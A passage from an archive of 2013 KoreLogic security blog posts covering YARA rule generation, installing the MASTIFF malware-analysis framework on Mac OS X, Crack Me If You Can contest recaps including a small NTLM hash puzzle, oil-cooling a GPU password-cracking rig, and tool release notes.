-l 395 $ yara libcrypt.yar badexe | wc -l 0 ``` This is just an example - a number of Yara signatures could have been run against the executable to cover a wider set of libraries. We can see that using Yara, and the pat2yara.py script to generate the Yara rules, we can quickly determine which libraries are in use and better focus analysis. If you have any questions or comments on the script, let me know! Download: pat2yara.py SHA256: fb3481c30affe2849fc3c26876f962223de41f0d065de7833443cf2042e87cfa --- ## MASTIFF on Mac OS X URL: https://korelogic.com/blog/2013/10/30/mastiff-on-mac-os-x/ A walkthrough of running MASTIFF on Mac OS X and the portability considerations behind its Python-based design. Published: 2013-10-30 Author: Tyler Category: Tools & Frameworks Tags: javascript, tools One of the reasons MASTIFF was written in Python was to give it the flexibility to run wherever it was needed. Linux and other *nix's have been supported since the initial release, but one goal was to have MASTIFF work on Mac OS X. It was suspected that MASTIFF would run without a problem on OS X, but it had never been tested...until now. This week MASTIFF was finally tested and proven to work on Mac OS X. Mac OS X 10.8.5 (Mountain Lion) was used during testing, although other versions of OS X will likely work as well. The instructions to install MASTIFF on Mac OS X are below. In these instructions we used [Homebrew](http://brew.sh/) to install a number of packages. There are many ways to install packages on OS X, this is the one that was chosen this time. Additionally, instead of relying upon the Python installed with OS X, the instructions for installing the latest version of Python at [Python Guide](http://docs.python-guide.org/en/latest/starting/install/osx/) were followed beforehand. You will need to be an administrative user on Mac OS X to install MASTIFF, and its pre-requisites. The only functionality for MASTIFF that does not work in OS X is TrID. This is due to the fact there is no OS X port for TrID, and the source code is not available. However, it turns out you don't need it! A few libraries are required for the MASTIFF framework to run. They can be installed with the following commands. pip install Yapsy brew install libmagic pip install python-magic pip install simplejson The rest of these instructions install pre-requisites that some MASTIFF plug-ins require: brew install ssdeep pip install pydeep pip install pefile brew install yara pip install yara [diStorm3](http://code.google.com/p/distorm/) is required for the single-byte string plug-in. Unfortunately, using pip to install it did not work, so it will have to be downloaded and installed manually. wget http://distorm.googlecode.com/files/distorm3-3-sdist.zip The _strings_ program in Mac OS X does not provide the ability to extract UNICODE strings from files. We found that _gstrings_, which gets installed with the GNU binutils package, works without a problem. brew install binutils Make sure you update the MASTIFF configuration file with the location of gstrings (/usr/local/bin/ by default). Multiple plug-ins use _exiftool_ to extract metadata from files. Again, make sure you update the configuration file in multiple places to point to the location of _exiftool_. brew install exiftool To get the pyOLEScanner plug-in to work, a library needs to be installed in addition to the Python script. Remember that once pyOLEScanner is downloaded, you must unzip it into its own directory, give pyOLEScanner.py executable permissions (chmod +x), and update the MASTIFF configuration file. pip install OleFileIO_PL wget https://github.com/Evilcry/PythonScripts/raw/master/pyOLEScanner.zip Didier Stevens has a number of tools that are used in MASTIFF plug-ins. Each tools must be downloaded, given executable permissions, and its location updated within the MASTIFF configuration file. wget http://www.didierstevens.com/files/software/disitool_v0_3.zip wget http://didierstevens.com/files/software/pdf-parser_V0_4_3.zip wget http://didierstevens.com/files/software/pdfid_v0_1_2.zip Finally, once all of the pre-requisites have been successfully updated, you can download MASTIFF. Don't forget to verify the GPG signature! wget -O mastiff-signing-key.asc http://sourceforge.net/projects/mastiff/files/mastiff/mastiff-signing-key.asc/download wget -O mastiff-0.6.0.tar.gz.sig http://sourceforge.net/projects/mastiff/files/mastiff/0.6.0/mastiff-0.6.0.tar.gz.sig/download wget -O mastiff-0.6.0.tar.gz http://sourceforge.net/projects/mastiff/files/mastiff/0.6.0/mastiff-0.6.0.tar.gz/download After the package is untar'd, run _make test_ to ensure that the pre-requisites were installed properly. If there are no issues, run _make install_ to install MASTIFF onto the system! As always, if you have any questions regarding MASTIFF or any suggestions for new features or plug-ins, please contact us at mastiff-project@korelogic.com. --- ## CMIYC 2013 Encrypted Challenge Files, Password Creation, and Hints URL: https://korelogic.com/blog/2013/09/04/cmiyc-2013-encrypted-challenge/ We've just published details about the Crack Me If You Can 2013 encrypted file challenges : the passphrase for each encrypted file, and the hints that are included in each one. Published: 2013-09-04 Author: Hank Category: Contests & Events Tags: tools, passwords, iot, contests We've just published details about the Crack Me If You Can 2013 encrypted file challenges [here](http://contest-2013.korelogic.com/stats_types.html): the passphrase for each encrypted file, and the hints that are included in each one. **Encrypted File Types** Each encrypted file type had an Easy, Medium, and Hard file, with increasingly complex passphrases. As with the main password sets, there were different passphrases for Pro and Street files. We did fewer file types than last year, and they were for fewer points, proportionately, than last time. As before, we did not try to set point values proportionate to the difficulty of cracking one file type vs another. There be dragons. We also didn't enforce strict rules internally about the difficulty of the different passphrases; they get longer and/or have increased character set complexity as you go up, but not all "Easy" passphrases were created equal, etc. **Password Creation** As we do every time, we spent all year generating new sets of plaintexts for the main password hash lists. A bunch of different KoreLogic staff contributed, using many different inspirations for wordlists, mangling rules, or other themes. This time we took notes about what inspiration we used for each set. Although the plaintexts were split into multiple different "Company" subdirectories (see [here](/blog/2013/08/08/cmiyc-2013-post-game) for more), we kept each set of similarly-generated plaintexts local to a given company. This sort of simulates the cultural biases that can cause an organization to have similarities in their plaintexts: - Staff working in a given industry may commonly gravitate towards industry-related terms - A bunch of users will embed the names of the local sports teams, such as the city where a company has its headquarters - Enterprise-wide user training and examples can lead to users following similar patterns in plaintext manipulation/modification We also avoided a big problem from 2012: last year, we used many phrases from songs, books, and movies--including so many from current works that were still under copyright, that we were afraid to release the full corpus of plaintexts afterwards. Oops! We will be publishing all the plaintexts for 2013 in a little while. **Hints** Some of those notes then became hints that were embedded as the contents of the encrypted challenge files: crack a file, learn something that'll help crack some of the password hashes. There were typically 10+ differently-inspired sets of plaintexts that went into each Company, and we only released hints about one (at most) set per Company. So knowing the hints would give a team an advantage, but not a huge one. We had another, hidden purpose for doing these groupings and hints, which I will write more about later. Wild speculation in comments to this post are encouraged ;) **Encrypted File & Hint Results** I think we just generally made the challenge files too hard--and/or it was so non-obvious that their contents were useful hints that, coupled with the relatively low point value, teams did not bother much with them. Some teams do mention figuring out some common patterns among plaintexts they cracked, relevant wordlists, etc. Which is great, but I wish there had been more challenges cracked so there were more hints "in circulation" during the contest. --- ## Mini-Password Cracking Challenge for LOLBitCoin Party URL: https://korelogic.com/blog/2013/08/12/mini-password-challenge-lolbitcoin/ A mini DEF CON password cracking challenge built around a small NTLM hash list and the story behind its significance. Published: 2013-08-12 Author: Rick Category: Password Security Tags: passwords As a favor to [@Druidian](https://twitter.com/Druidian), I supplied a mini password cracking challenge for hackers at DEFCON. It was a small list of NTLM hashes that the teams had to crack. They had no idea what the significance of them was. I supplied the following NTLM hashes: ``` 2a89df716d7c39b6038c43546bbc5041 581d884bea2b273e04679e117c085386 42e82d52fa7db0d949fcf66a087579c9 870939d15a53df37156bb07a47a26beb 7660d04a2b64e747eccec3af91fe9c02 f3fa98903f1748acc13185842febfb11 f3f0db2300cadc5d2e49bfb04e1e5e48 225fcf805ccc210c7980b3177740b956 28e1f23668a254bd199526a2093cb364 e3f47723b9640445c6de1c15dcfa7dd5 8c6238b01d465f3a83c3547738f17e7c c602232b6ef5815ec123d64c6b9e2338 dafd403f1c792f9683aa0d669688ffad a461f40632c7facc5bbd401d05cd0b18 2bcf145f94af0416549a7691097fb8df 21d1ab95086551fd50f5d4166e384c2e 75058752b1d8fe1c3743c03efb526c64 45d52779d7239813c4a31f50310f20b1 1389246954dfc619f0008d97f4cb372a 0eaa056eae94da444e42bae1d085e27d 6cb96c5c3db703a219a25f97baa44c9e f59e4b69c6c0e49a12e11f635a925f93 ``` These hashes cracked to the values: ``` larson123 araFAT! will3w0nka l00z3er .,m.,m! boomb00m id10tid10t tr4sht4lk c00lm0d3 oinkoinkping inoutinout n00bzRus @DEFCON g0g0gadget myusername allmycircuits inthebathroom l00km0m! .dotdotdot callmeMAYBE ohtheplaces myAdidas ``` This doesn't look at the important, until you look at the first character of each password (assuming you kept them in the correct order). l a w l . b i t c o i n @ g m a i l . c o m So: lawl.bitcoin@gmail.com This was the email address the teams had to email in order to get to "Stage 3" of the challenge. --- ## CMIYC 2013 Post-game URL: https://korelogic.com/blog/2013/08/08/cmiyc-2013-post-game/ A post-game introduction to KoreLogic coverage of the 2013 Crack Me If You Can password cracking contest and follow-up analysis. Published: 2013-08-08 Author: Hank Category: Contests & Events Tags: tools, passwords, contests This is the first of several posts we'll make post-Crack Me If You Can 2013. Later we'll gather things up and add content to the [main 2013 contest site](http://contest-2013.korelogic.com/). In this post I'll talk a little about the structural changes we made in this year's DEFCON contest, what we did that we think worked well, some not so well. We'd love feedback that we can use when planning future contests. **Structure** The most obvious change this year was the creation of **Pro** and **Street** divisions. Hash types and ratios, encrypted file types, and plaintext creation techniques were generally the same between them, but the plaintexts themselves were different. This was a way to try to have the hardcore teams pushing each other hard, while keeping things fun for smaller teams and more casual players--maybe people at DEFCON who _actually_ want to see some of DEFCON. The password hashes were then split into 8 different fictitious "CompanyN" subdirectories. Different hash types were spread asymmetrically across the different CompanyN directories. There were relationships between the plaintexts within a given CompanyN directory. We'll do another post later that digs into those in more detail. I am curious if any teams figured out those relationships, or if you all just grouped all NT hashes together into one pile, all DES into another, etc and discarded the relationship between DES and NT hashes for Company1, etc. The encrypted file challenges had hints about some of the plaintexts for a certain CompanyN. More on those later, too. **Preparation** We were able to do a few things ahead of time that we think helped things go smoothly during the actual event: - **Pre-registration** opened more than a week before the contest start. That let people work out any issues with PGP, dealing with the autoresponder, etc early. - **Test hashes** were published several days before the contest, with a basic automated scoreboard. This also helped teams know what to expect, make sure they were submitting in the correct format, etc, before the pressure was on. - **Pre-downloads** of the hash sets and some of the challenges were available as encrypted archives before the contest start time. This way there was no rush to swamp our bandwidth at the beginning (and I think we did a better job explaining this ahead of time than we did in past years). All of those helped make this the smoothest CMIYC contest yet. **Issues** We did have some issues at different times, most of which we were able to fix quickly. - **Scoreboard issues** - there were a couple of hash types that were not being counted correctly. The first we found & fixed before anyone noticed, but there was another one (or two?) that we did not catch, until a team contacted us and said "Hey we have cracked N of type XYZ but they aren't appearing", at which point we investigated and fixed it. - **Submission issues** - Despite the early registration and test crack submissions, howto instructions and examples that we try to improve every year, we still had teams forgetting how to submit properly. Sometimes just sloppiness--including hashes, config files, etc, or forgetting to sort -u their lists. Other times it was more involved than that. But, at least the instances of this decrease every year. - **Late downloads** - We had wanted everything to be ready and downloadable ahead of time. But some challenge files weren't ready in time, and we had to release them a bit after the contest started (and scrapped some we had wanted to do, in the interest of time). - **Few Encrypted File Cracks** - Almost no encrypted challenge files were cracked. Either we made them too hard, or teams didn't see the value in dedicating resources towards them, or both. Maybe we should have emphasized the hints more. We'll probably publish them pretty soon (sooner than the plaintexts themselves). I'm curious to hear from the contestants on the encrypted files; did you try a lot but not get far, or not bother? - **Fewer Password Cracks Than Expected** - Overall, fewer plaintexts were cracked than we were anticipating. Maybe that means we made them harder than intended. But, that's better than the opposite; if you all cracked everything in the first 12 hours, the rest of the contest would be a little bit boring. **Coming Up Next** Over the coming weeks we will be collecting writeups from the teams that competed and updating [the contest site](http://contest-2013.korelogic.com/) with them. We'll also do more blog posts that go into more details about certain aspects of the 2013 competition from our perspective. --- ## Submerging a GPU Cluster in Mineral Oil URL: https://korelogic.com/blog/2013/06/05/submerging-a-gpu-cluster-in-mineral-oil/ KoreLogic consultants describe submerging a GPU cracking system in mineral oil and running it continuously for password research workloads. Published: 2013-06-05 Author: Rick Category: Password Security Tags: tools, forensics, passwords, web-security, contests You may have seen the recent article on [Ars Technica by Dan Goodin about KoreLogic](http://arstechnica.com/security/2013/06/password-crackers-go-green-by-immersing-their-gpus-in-mineral-oil/). We (Rick Redman and Dale Corpron, KoreLogic consultants) dipped a computer in oil, and left it there, running, 24x7. Although this idea isn't really all that new (Cray did it in 1985!), our use of it is relatively rare. We dipped a GPU powered password cracking system in the oil. Thanks to [Midas Green Tech](http://www.midasgreentech.com/)'s help, it was really easy to do. Our hardware wasn't new or even custom, but it's running, right now, in mineral oil. **So, why did we do it?** Well, we built an additional hardened password cracking system out of some extra AMD Radeon 6990s that were sitting around the office. Next, we placed the system in an air-cooled COLO space, and, guess what? It overheated. So we added more fans, and it overheated again. We removed the side of the case, re-attached the heat sinks with better thermal paste, and it still overheated. Granted, we could have moved the 4U twin 6990 system to another COLO which chills their server rooms to 60 degrees, but the cost would have been almost twice as much. Granted, that would have come with higher bandwidth too, but a GPU password cracking system doesn't really need that much bandwidth (unless it's downloading/updating wordlists). So we had an overheating GPU system, with possibly malfunctioning Radeon cards, and the box was air-cooled at a COLO that already does oil-based cooling. It just seemed logical. Midas assured us it was safe (they've been doing it for a while now). They had multiple other systems already submerged and knew how to do it. The vendor who supplied the hardware ([grcooling.com](http://grcooling.com/)) assured us the GPUs were safe to submerge. So, we decided to go for it. **What it takes:** Remove all fans from your system (except the power supply fan which is "required" by the power supplies). Remove all heat sinks from the CPUs and GPUs. Clean off all the thermal paste that was under the heat sinks, and replace with thermal tape (Just Google for "[ Thermal Adhesive Tape](https://www.google.com/search?q=%22thermal+adhesive+tape%22)") and then re-attach just the heat sink (no fans). The idea of running Radeon 6990 cards without fans sounds crazy. They would overheat in 2 seconds in the air. The next step is tricky... Take your computer, drop it into a tank of cooled mineral oil, and turn it on. [Here is video of us doing just that.](https://www.youtube.com/watch?v=_rKOODLhEi0) We have to say, it was nerve-racking. It goes against everything you believe in. Computers don't run in liquid. But they do! They run cheaper at the same speed (if not faster) than air cooling. The liquid oil at Midas is pumped out, put through a cooler/radiator using "cold" water, and returns into our rack at approximately 80 degrees (F). Sure, we heat that oil up, but it's very quickly sucked out of the rack, and cooled. The temperature of the oil could be lowered to much colder temps, but why? That would require more electricity. You can see the oil rising out of the GPU cards in the [following video](https://www.youtube.com/watch?v=cpO_uh8PdaU). Note, there are no fans on those cards, the oil you see moving is just the hot oil rising to the top of the rack. Notice the bubbles on the surface of the oil, see how they are moving? The blue light is the power supply and (still intact) internal fan. (It's a 1200 watt power supply, if you are curious). At the end of the video you can see we pan over to the temporary X11 interface and see that we are running oclHashcat-plus. (Don't trust the temps listed in the video, that was a bug that was fixed later.) In conclusion, this method is cheaper for us as a COLO customer, uses less electricity, and prevents our systems from overheating. Why NOT do it? Whats our attraction in inefficient air cooling? We will update the blog on details on how the system handles the oil long-term, but it's been weeks now, and everything is working great. Currently, the 4 GPU cores and running at "full blast" cracking a few hundred thousand NTLMs and are running at 51-68 degrees Celsius. The oil is approx 21.6 degrees Celsius. oclHashcat-plus will "abort" a GPU cracking job at 90 degrees Celsius. [Here are more pictures of oil cooled systems.](http://www.grcooling.com/gallery/) (KoreLogic has no relationship with Green Revolution Cooling, we didn't coordinate with them on this write-up, etc.) **Our answers to some questions:** - Yes, you can do this at home with an acrylic fish tank. Notice "our" tank is made of steel. I've heard that the eventually heat will melt the sealant used on non-commercial tanks, so high-heat uses are not encouraged. [Details here](http://www.pugetsystems.com/aquarium-computer.php). We are not affiliated with, nor sell/resell their systems. It's just a link. - We are aware this isn't "ground breaking". But why aren't you doing it? Why isn't everyone doing it? Why, as an industry, are we cooling our systems using inefficient methods such as air conditioning? Why is this the only COLO (we could find) that provides this service? - "Does it really save electricity?" - Well, We aren't running the COLO, so we aren't the best people to ask. But, it costs less (as a customer) to COLO in oil vs. air cooled. So, we assume someone has done the math. - "What about water cooling and/or water "blocks" for the GPUs?" - This is a decent solution for some people, and we have worked with that for some systems. It still requires lots of extra hardware, and tons of noisy fans. Plus, this is "ready to go" method for us, at a COLO. Just drop it in the oil, and start cracking! - "Why are you doing this?" - We are security professionals and a big part of what we do is performing security assessments and penetration tests. We often encounter tens of thousands of passwords that we need to crack, in a short period of time, and we'd like to think we've become pretty good at it. We've always believed that it is important to give back to the community, so we've published HOWTOs, given talks, published password cracking rules, forensics tools, and various widgets and utilities. We had some spare hardware lying around and we wanted to see how it would perform in this environment. We thought some people might be interested in this too. - "You don't really crack 90%." - Sure we do. That was not just some made-up value. Password cracking technology has come a long way. Consider the password cracking contest we run at DEFCON (Crack Me If You Can). We release over 120,000 password hashes and the teams that participate have only 48 hours to crack as many as they can. The hashes are in many different formats, some extremely difficult and computationally expensive to crack. The contest tries to simulate real world environments--but the crackers are so good now, that we are forced to include 12-16 and longer character passwords. The teams that participate crack most of them in the 48 hour window. So yeah, we often crack over 90% of the passwords we encounter on pentests. This is a big part of what we do. Rick Redman has spoken at conferences (BSides, DEFCON, AHA, DerbyCon, etc.) on advanced password cracking techniques. One of our specialties is developing patterns/rules/wordlists specifically designed to crack corporation/enterprise password sets. Granted, many of the lists are NTLMs (from Active Directories) and those are easier to crack. Thanks Microsoft ;) - "How is the oil cooled?" - Look in the pictures on [grcooling.com's website](http://www.grcooling.com/gallery/). There is a large cooling tank in the back of the room. We do not have the specifics on how it works, but it works. This is a professional/industrial solution. The only need for air conditioning in the room, is for the humans. - "Noise?" - In the YouTube videos, we are whispering. There are approx 40 or so 1U computers running (in oil) in that same room. The "beep" you hear is a laptop speaker about 5 feet away. So it's pretty quiet. - "Cost?" - It's based on power/bandwidth usage. This system pulls approximately 6 AMPs of power. We will not disclose the actual cost to KoreLogic out of respect for Midas. - "Can I do it?" - YES! Midas Green Tech is a normal COLO and would gladly oil-dip your machines for you. We have no relationship with them, they are just a group of friendly geeks doing cool stuff. We really like that we are supporting a local, small business by doing this as well. - "Contamination of oil by dust?" - We do not know the details of this. Maybe there is an oil filter? We're willing to bet that even dust-filled oil is still better at cooling GPUs, than air is. We're not willing to test that theory though. - "Why not overclock?" - Radeon 6990s are beasts as-is. And we obviously could overclock them, but to extend their life-span we currently aren't planning to overclock. - "What about your devices when you pull them out of the oil?" - According to Midas, "spraying electronics cleaner" will safely remove the oil and they are "safe" to run in the air afterwards. This has been tested by Midas (we have not validated this test ourselves). - "Warranty?" - According to Midas, "Several large server component manufacturers like SuperMicro warranty their products in the oil." In this case we were experimenting with spare hardware so it was not a big concern. --- ## Crack Me If You Can 2013 Is On! URL: https://korelogic.com/blog/2013/05/09/crack-me-if-you-can-2013-is-on/ Announcement that KoreLogic would bring the Crack Me If You Can password cracking contest back for DEF CON 21. Published: 2013-05-09 Author: Hank Category: Contests & Events Tags: passwords, contests It's official, [Crack Me If You Can](http://contest.korelogic.com/) will definitely be back for DEFCON 21 in August. We've been planning what to do for this year's contest, combining all our lessons learned. Will get the 2013 site up, and start announcing structure and rules soon. --- ## MASTIFF 0.6.0 Released URL: https://korelogic.com/blog/2013/04/19/mastiff-060-released/ MASTIFF 0.6.0 release announcement for KoreLogic static analysis users, with updated project files and release materials. Published: 2013-04-19 Author: Tyler Category: Tools & Frameworks Tags: tools, forensics, passwords The latest version of MASTIFF, 0.6.0, has just been released! Run over to the [download site](https://sourceforge.net/projects/mastiff/?source=navbar) and [grab the latest version](https://sourceforge.net/projects/mastiff/files/mastiff/0.6.0/)! The [official changelog is located here](http://mastiff.sourceforge.net/Files/Changelog.txt), but the major improvements are described below. Upgrading MASTIFF to the latest version is easy. You can follow this process: 1. Download and install [pydeep](https://github.com/kbandla/pydeep). 2. Download [MASTIFF 0.6.0](https://sourceforge.net/projects/mastiff/files/mastiff/0.6.0/) and untar it. 3. Run "make test" to ensure you are not missing any dependencies. 4. Run "sudo make install" to install the latest version. 5. Copy the analysis plug-ins (the plugins directory in the tarball) to your location of choice and ensure the config file is pointing to that directory. 6. Add any new options to your MASTIFF config file. The easiest way may be to use sdiff. **Queue** MASTIFF now has a queueing system so multiple files can be analyzed by the framework. To utilize this, give MASTIFF a directory instead of a file to analyze. It will find all files in that directory and its subdirectories, add them to the queue, and begin processing. The queue is maintained within the MASTIFF database. So, if you have to stop MASTIFF in the middle of its run, it will begin re-processing the queue when its restarted. Some additional options have been added to allow you to work with the queue: - --clear-queue: This will clear the current queue. - --ignore-queue: This will ignore the queue and just process the file you give it. Analysis plug-ins are also taking advantage of the queue. The pdf-parser and ZipExtract plug-ins have a new option ("feedback") which allow you to feed files from the plug-ins back into the queue for processing. For example, the ZipExtract plug-in will add all files that were extracted from the archive into the queue for processing. **Fuzzy Hashing** Fuzzy hashing is not something new within MASTIFF. However, we have changed the Python library used for it. Previously, we used pyssdeep but found that there were a number of stability issues with it on OSX and when processing large amounts of files. Therefore, we have switched to pydeep ([https://github.com/kbandla/pydeep](https://github.com/kbandla/pydeep)). Our testing has shown it to be much more stable thus far. **libmagic** There was some confusion on which Python libmagic libraries to use when installing MASTIFF. To help alleviate some of that, the framework has been modified to use two different libmagic libraries: - libmagic Python extensions ([ftp://ftp.astron.com/pub/file/](ftp://ftp.astron.com/pub/file/)) - This may be installed through the source code or is the library installed as python-magic in most Linux code repositories. - Python-magic ([https://github.com/ahupp/python-magic/](https://github.com/ahupp/python-magic/)) - This may be installed through the source code or via Python pip. If either library is installed, MASTIFF will utilize them. **Other Changes** A number of other bug fixes and improvements have been made. Please see the [changelog file](http://mastiff.sourceforge.net/Files/Changelog.txt) for a complete list. As always, if you have any questions, please email mastiff-project@korelogic.com. We have a lot of great things coming down the pipe for MASTIFF, but if you have any suggestions, enhancements or plug-ins, let us know! --- ## FTimes 3.10.0 Released URL: https://korelogic.com/blog/2013/04/01/ftimes-3100-released/ FTimes 3.10.0 adds updated file hook support, introduces KLEL-based XMagic, fixes bugs, and raises the minimum required libklel version. Published: 2013-04-01 Author: Klayton Category: Tools & Frameworks Tags: tools Version 3.10.0 is a minor release of FTimes. Generally, code was cleaned up and refined as necessary. Several bugs have been fixed -- see the ChangeLog for details. This release includes updated support for file hooks and introduces KLEL-based XMagic. Consequently, the minimum required version of libklel has been raised to 1.1.0, which has a library version of 2:0:1. Finally, file system support for SquashFS was added. --- ## KLEL 1.1.0 Released URL: https://korelogic.com/blog/2013/02/15/klel-110-released/ KLEL 1.1.0 release announcement for KoreLogic Expression Language users, with updates to the language and supporting documentation. Published: 2013-02-15 Author: Rob Category: Digital Forensics Tags: tools, forensics, iot The latest version of KLEL, 1.1.0, has just been released! It's available for download at its [SourceForge site](http://libklel.sf.net). This release brings a much cleaner and faster parser, and a more consistent API for developers. The KLEL standard library has been extended with a family of "abort" functions to trigger runtime errors in expressions. KLEL (pronounced 'kal ell'*), is the KoreLogic Expression Language. It's a small but powerful expression language implemented as a normal C library, and with an emphasis on being easily embedded in larger programs. It's very useful for specifying predicates in programs, or providing a bit of dynamism in configuration files. [FTimes](http://ftimes.sf.net), for example, uses it to specify predicates for hook functions in its configuration file. While the simplicity of its embedding API and usefulness of the language are probably its most useful features, its most interesting** feature is its type system. Unlike most little expression languages, KLEL is statically and strongly typed, with typechecking performed at compile time. This means that you can be sure your expression is free of a large class of errors before executing it. This is important in forensic situations where you might be running the same expression thousands or millions of times and where you might only get one shot at the data. KLEL comes with complete documentation and several example programs. As always, if you have any questions, please email libklel-project@korelogic.com. - resemblance of the name to that of a certain Kryptonian is purely coincidental. ** in my opinion